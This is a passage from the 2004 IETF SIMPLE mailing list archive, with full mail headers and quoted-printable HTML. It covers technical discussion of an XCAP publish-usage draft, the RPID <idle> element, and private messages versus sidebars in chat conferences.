  finished, we'll see what the exact mechanisms to mandate supported name=
spaces=20
  are, and we'll adopt that convention in this draft too. This is probabl=
y still=20
  changing from xcap-02 draft, as was discussed in SIMPLE session.&nbsp;<=
SPAN=20
  class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>=

  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>Not totally=20
  true</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>XCAP have a limited set of ru=
les for=20
  HTTP URI creation.</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004></SPAN></FONT></FONT></FONT><=
/SPAN><SPAN=20
  class=3D902344900-03032004><FONT face=3DArial><FONT color=3D#0000ff><FO=
NT=20
  size=3D2><SPAN class=3D509473301-03032004>So&nbsp;it is not meant for *=
any* XML=20
  document.</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>I think the XCAP framework is=
 clear on=20
  that</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>You would need to expand thos=
e rules,=20
  which can complicate things quite a lot, not to mention slow things dow=
n, to=20
  make it more generic.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>gf/</SPAN></FONT></FONT></FONT></SPAN></DIV>=

  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2>3) I'm not sure if I&nbsp;understood the question. This is not=
 a=20
  template for any applications that want to use XCAP, this is standardiz=
ing how=20
  XCAP is used to manipulate PIDF-formatted presence documents. As there =
is no=20
  computed data or anything, I guess an app usage for any XML doc would b=
e quite=20
  similar to this one.<SPAN=20
  class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>=

  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>For event packages we have a =
template=20
  that have to be filled&nbsp;by for anyone who wants to create a new eve=
nt=20
  package.</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>So I am asking if your&nbsp;d=
ocument=20
  presents a template, similar&nbsp;to the event package approach. (forge=
t about=20
  the content for your application)</SPAN></FONT></FONT></FONT></SPAN></D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>I am not sure if I am clear&n=
bsp;on that=20
  one.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>gf/</SPAN></FONT></FONT></FONT></SPAN></DIV>=

  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2>4) Surely there are many ways to manipulate PIDF documents. Ho=
wever, in=20
  context of SIMPLE, XCAP is a natural choice since it's needed already i=
n any=20
  advanced presence-capable device. Could you explain what kind of comple=
xities=20
  you mean? This is as simple an XCAP usage as&nbsp;there can be. Are you=
 saying=20
  that XCAP in itself is complex? A more simple way would be to use just =
normal=20
  HTTP PUT and DELETE, but since we have XCAP at our disposal, why not us=
e=20
  it.<SPAN=20
  class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>=

  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>The complexities will arise i=
f we allow=20
  users to do selective manipulation, using XCAP,&nbsp;for certain=20
  tuples&nbsp;*only*, and using PUBLISH for the remaining=20
  tuples.</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>So I need to see your answer =
first to=20
  my&nbsp;response to your first &nbsp;bullet before I go=20
  further</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN><SP=
AN=20
  class=3D902344900-03032004><FONT face=3DArial><FONT color=3D#0000ff><FO=
NT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>gf/&nbsp;</SPAN></FONT></FONT></FONT></SPAN>=
</DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f=20
  size=3D2>Markus</FONT></SPAN></DIV>
  <BLOCKQUOTE=20
  style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
    <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT face=3D=
Tahoma=20
    size=3D2>-----Original Message-----<BR><B>From:</B> ext George Foti (=
QA/EMC)=20
    [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 2004=20
    02:47<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki);=20
    simple@ietf.org<BR><B>Subject:</B> Comments on=20
    draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV><BR>
    <P><FONT face=3D"Times New Roman">Hi Markus,</FONT> </P>
    <P><FONT face=3D"Times New Roman">I have some comments on your draft:=
</FONT>=20
    </P>
    <P><FONT face=3D"Times New Roman">1) Although you indicate that this =
should be=20
    used only for hard states, what is there to prevent users from manipu=
lating=20
    other presence states in there through XCAP.</FONT></P>
    <P><FONT face=3D"Times New Roman">2) XCAP is meant to be used for doc=
uments=20
    that are created to take advantage of the defined XCAP rules for HTTP=
 URI=20
    creation. Which XML presence documents in particular are you proposin=
g that=20
    they get manipulated by XCAP.&nbsp; </FONT></P>
    <P><FONT face=3D"Times New Roman">How do you ensure that the current =
XCAP=20
    rules are suffiicient for the purpose you have in mind. I also doubt =
that=20
    you can use the current XML presence documents (PIDF and extensions) =
for=20
    XCAP purposes as is. For example, should there not be the element=20
    mandatory-ns, in there, as per the XCAP framework.</FONT></P>
    <P><FONT face=3D"Times New Roman">3) Is this template meant to be a g=
eneric=20
    template to be used by all applications that want to use XCAP.</FONT>=
 </P>
    <P><FONT face=3D"Times New Roman">4) Finally, I believe that there ar=
e other,=20
    out-of-band means, to accomplish your goals, i.e. manipulate hard sta=
tes,=20
    without the unwarranted complexities that the draft creates. Thus, th=
ere=20
    must be explicit references in the draft to that fact.&nbsp; </FONT><=
/P>
    <P><FONT face=3DArial size=3D2>/gf</FONT> <BR><FONT face=3DArial size=
=3D2>Ericsson=20
    Canada</FONT> </P><BR><BR>This communication is confidential and inte=
nded=20
    solely for the addressee(s). Any unauthorized review, use, disclosure=
 or=20
    distribution is prohibited. If you believe this message has been sent=
 to you=20
    in error, please notify the sender by replying to this transmission a=
nd=20
    delete the message without disclosing it. Thank you.<BR><BR>E-mail in=
cluding=20
    attachments is susceptible to data corruption, interruption, unauthor=
ized=20
    amendment, tampering and viruses, and we only send and receive e-mail=
s on=20
    the basis that we are not liable for any such corruption, interceptio=
n,=20
    amendment, tampering or viruses or any consequences thereof.=20
</BLOCKQUOTE></BLOCKQUOTE> <br><br>This communication is confidential and=
 intended solely for the addressee(s). Any unauthorized review, use, disc=
losure or distribution is prohibited. If you believe this message has bee=
n sent to you in error, please notify the sender by replying to this tran=
smission and delete the message without disclosing it. Thank you.<br><br>=
E-mail including attachments is susceptible to data corruption, interrupt=
ion, unauthorized amendment, tampering and viruses, and we only send and =
receive e-mails on the basis that we are not liable for any such corrupti=
on, interception, amendment, tampering or viruses or any consequences the=
reof.</BODY></HTML>

------_=_NextPart_001_01C400BF.B6FAFE74--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 21:01:00 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20331
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 21:01:00 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLgy-0004AL-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:01:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLg3-000428-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:00:03 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLf6-0003uI-00; Tue, 02 Mar 2004 20:59:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLf3-0005Jl-Su; Tue, 02 Mar 2004 20:59:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLeI-0004r3-4P
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 20:58:14 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA20172
	for <simple@ietf.org>; Tue, 2 Mar 2004 20:58:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLeF-0003m9-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:58:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLdV-0003dU-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:57:25 -0500
Received: from pecan.cc.columbia.edu ([128.59.59.178] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLce-0003TC-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:56:32 -0500
Received: from cs.columbia.edu (UBAHN.wireless.ietf59.or.kr [218.37.227.100] (may be forged))
	(user=hgs10 mech=PLAIN bits=0)
	by pecan.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i231uKbY020027
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Tue, 2 Mar 2004 20:56:22 -0500 (EST)
Message-ID: <40453B49.3000901@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: hisham.khartabil@nokia.com, pkyzivat@cisco.com, simple@ietf.org
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <2038BCC78B1AD641891A0D1AE133DBB701797812@esebe019.ntc.nokia.com> <40451E20.7000801@dynamicsoft.com>
In-Reply-To: <40451E20.7000801@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 20:56:25 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Jonathan Rosenberg wrote:

> My interpretation of Hennings current text:
> 
> The <idle> records the absolute time and date the communication
>    device was last used.
> 
> was that "device" was limited to the IM client, for example. In such a 
> case, it would mean the last time I sent an IM. I'm not sure why, on 
> first read, I came to this conclusion, to be honest.
> 
> I think if, the text is clarified as to the scope of device (i.e., the 
> "PC" for a typical IM app) that would be fine.

Probably depends on contact-type:
- presentity: most recent usage for any device for presentity
- device: obvious
- service: the most recent usage across all devices being aggregated 
into one tuple


> 
> -Jonathan R.
> 
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 21:01:32 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20373
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 21:01:32 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLh2-0005qj-CG
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 21:01:04 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i23214m4022477
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 21:01:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLh1-0005qS-NN
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 21:01:03 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20349
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 21:01:00 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLgz-0004AQ-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:01:01 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLg3-00042F-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:00:04 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLf6-0003uI-00; Tue, 02 Mar 2004 20:59:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLf3-0005Jl-Su; Tue, 02 Mar 2004 20:59:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLeI-0004r3-4P
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 20:58:14 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA20172
	for <simple@ietf.org>; Tue, 2 Mar 2004 20:58:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLeF-0003m9-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:58:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLdV-0003dU-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:57:25 -0500
Received: from pecan.cc.columbia.edu ([128.59.59.178] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLce-0003TC-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:56:32 -0500
Received: from cs.columbia.edu (UBAHN.wireless.ietf59.or.kr [218.37.227.100] (may be forged))
	(user=hgs10 mech=PLAIN bits=0)
	by pecan.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i231uKbY020027
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Tue, 2 Mar 2004 20:56:22 -0500 (EST)
Message-ID: <40453B49.3000901@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: hisham.khartabil@nokia.com, pkyzivat@cisco.com, simple@ietf.org
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <2038BCC78B1AD641891A0D1AE133DBB701797812@esebe019.ntc.nokia.com> <40451E20.7000801@dynamicsoft.com>
In-Reply-To: <40451E20.7000801@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 20:56:25 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Jonathan Rosenberg wrote:

> My interpretation of Hennings current text:
> 
> The <idle> records the absolute time and date the communication
>    device was last used.
> 
> was that "device" was limited to the IM client, for example. In such a 
> case, it would mean the last time I sent an IM. I'm not sure why, on 
> first read, I came to this conclusion, to be honest.
> 
> I think if, the text is clarified as to the scope of device (i.e., the 
> "PC" for a typical IM app) that would be fine.

Probably depends on contact-type:
- presentity: most recent usage for any device for presentity
- device: obvious
- service: the most recent usage across all devices being aggregated 
into one tuple


> 
> -Jonathan R.
> 
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 21:03:53 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20439
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 21:03:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLjl-0004XO-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:03:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLis-0004QQ-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:02:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLhz-0004Jh-00; Tue, 02 Mar 2004 21:02:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLhx-0006Nb-I1; Tue, 02 Mar 2004 21:02:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLgy-0005pZ-Kl
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 21:01:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20325
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:00:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLgw-0004A2-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:00:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLg0-00041g-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:00:01 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLf4-0003mV-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:59:02 -0500
Received: from sj-core-5.cisco.com (171.71.177.238)
  by sj-iport-3.cisco.com with ESMTP; 02 Mar 2004 18:10:49 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i231wTiQ001799;
	Tue, 2 Mar 2004 17:58:30 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user67.cisco.com [10.70.82.67])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL89778;
	Tue, 2 Mar 2004 20:58:27 -0500 (EST)
Message-ID: <40453BC2.9020101@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Rosen, Brian" <Brian.Rosen@marconi.com>
CC: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>,
        ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Markus.Isomaki@nokia.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, "'simple@ietf.org'" <simple@ietf.org>
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B648B@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 20:58:26 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

I'm game. Who cares? This is in the overlap area between simple and xcon 
I think. How about lunch tomorrow, after xcon?

	Paul

Rosen, Brian wrote:
> How are we going to resolve this?
> 
> Most of us are here.  Can we get together?
> 
> Brian
> 
> 
>>-----Original Message-----
>>From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>Sent: Tuesday, March 02, 2004 6:44 PM
>>To: Niemi Aki (Nokia-M/Espoo)
>>Cc: ext Rosen, Brian; ext Jonathan Rosenberg; 
>>Markus.Isomaki@nokia.com;
>>hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com; 
>>simple@ietf.org
>>Subject: Re: [Simple] Chat sessions
>>
>>
>>
>>
>>Niemi Aki (Nokia-M/Espoo) wrote:
>>
>>>>>Of course you can't do private messages with voice. Voice 
>>>>
>>and IM are 
>>
>>>>>inherently different. You can't send private voice 
>>>>
>>packets to another 
>>
>>>>>participant of a conference, simply because there isn't a way to 
>>>>>single out a participant in a conference by directly addressing 
>>>>>packets there. It also makes mixing really complicated, because a 
>>>>>private voice stream might overlap with the rest of the 
>>>>
>>conference. 
>>
>>>>>These don't present a problem for IM; the sender can 
>>>>
>>single out the 
>>
>>>>>recipient using the cpim To header field and the recipient UA can 
>>>>>simply mark a message as private and render it to the 
>>>>
>>same UI as the 
>>
>>>>>rest of the IMs in that conference.
>>>>
>>>>I protest.  There is no logical difference.  There is no protocol
>>>>difference.  In most cases, there is no practical difference.  You
>>>>send media to some address, you get media from some address.  You
>>>>render it.  IM or voice or video is all just media, and its handled
>>>>the same way.  You might have "centralized" or 
>>>
>>"distributed" mixers.
>>
>>>>Most IM systems, as implemented, are centralized mixers.  You send
>>>>all media to the mixer, it sends media to you.  There is nothing
>>>>special with IM.  You need some signaling for a private message.
>>>>You can use the same signaling for a sidebar or a whisper.
>>>
>>>Hmm.. which systems are these? The ones I've used have both private 
>>>messages *and* sidebars.
>>
>>It seems that in principle the difference between sidebars 
>>and private 
>>messages is simply one of UI design. A particular client 
>>could support 
>>one or the other, or both.
>>
>>But you also seem to require that the initiator be able to 
>>choose which 
>>user experience the recipients will have. That turns it into 
>>a protocol 
>>issue. In general I would consider this a bad idea. But it is 
>>largely a 
>>human factors issue, and I don't feel qualified to comment on 
>>it except 
>>from the perspective of personal preference. But it seems that whole 
>>discussion hinges on whether there is a valid requirement for giving 
>>senders that degree of control over recipients.
>>
>>	Paul
>>
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 21:04:25 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20485
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 21:04:25 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLjp-0006q2-LK
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 21:03:57 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2323vnI026280
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 21:03:57 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLjp-0006pn-EC
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 21:03:57 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20457
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 21:03:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLjm-0004Xe-00
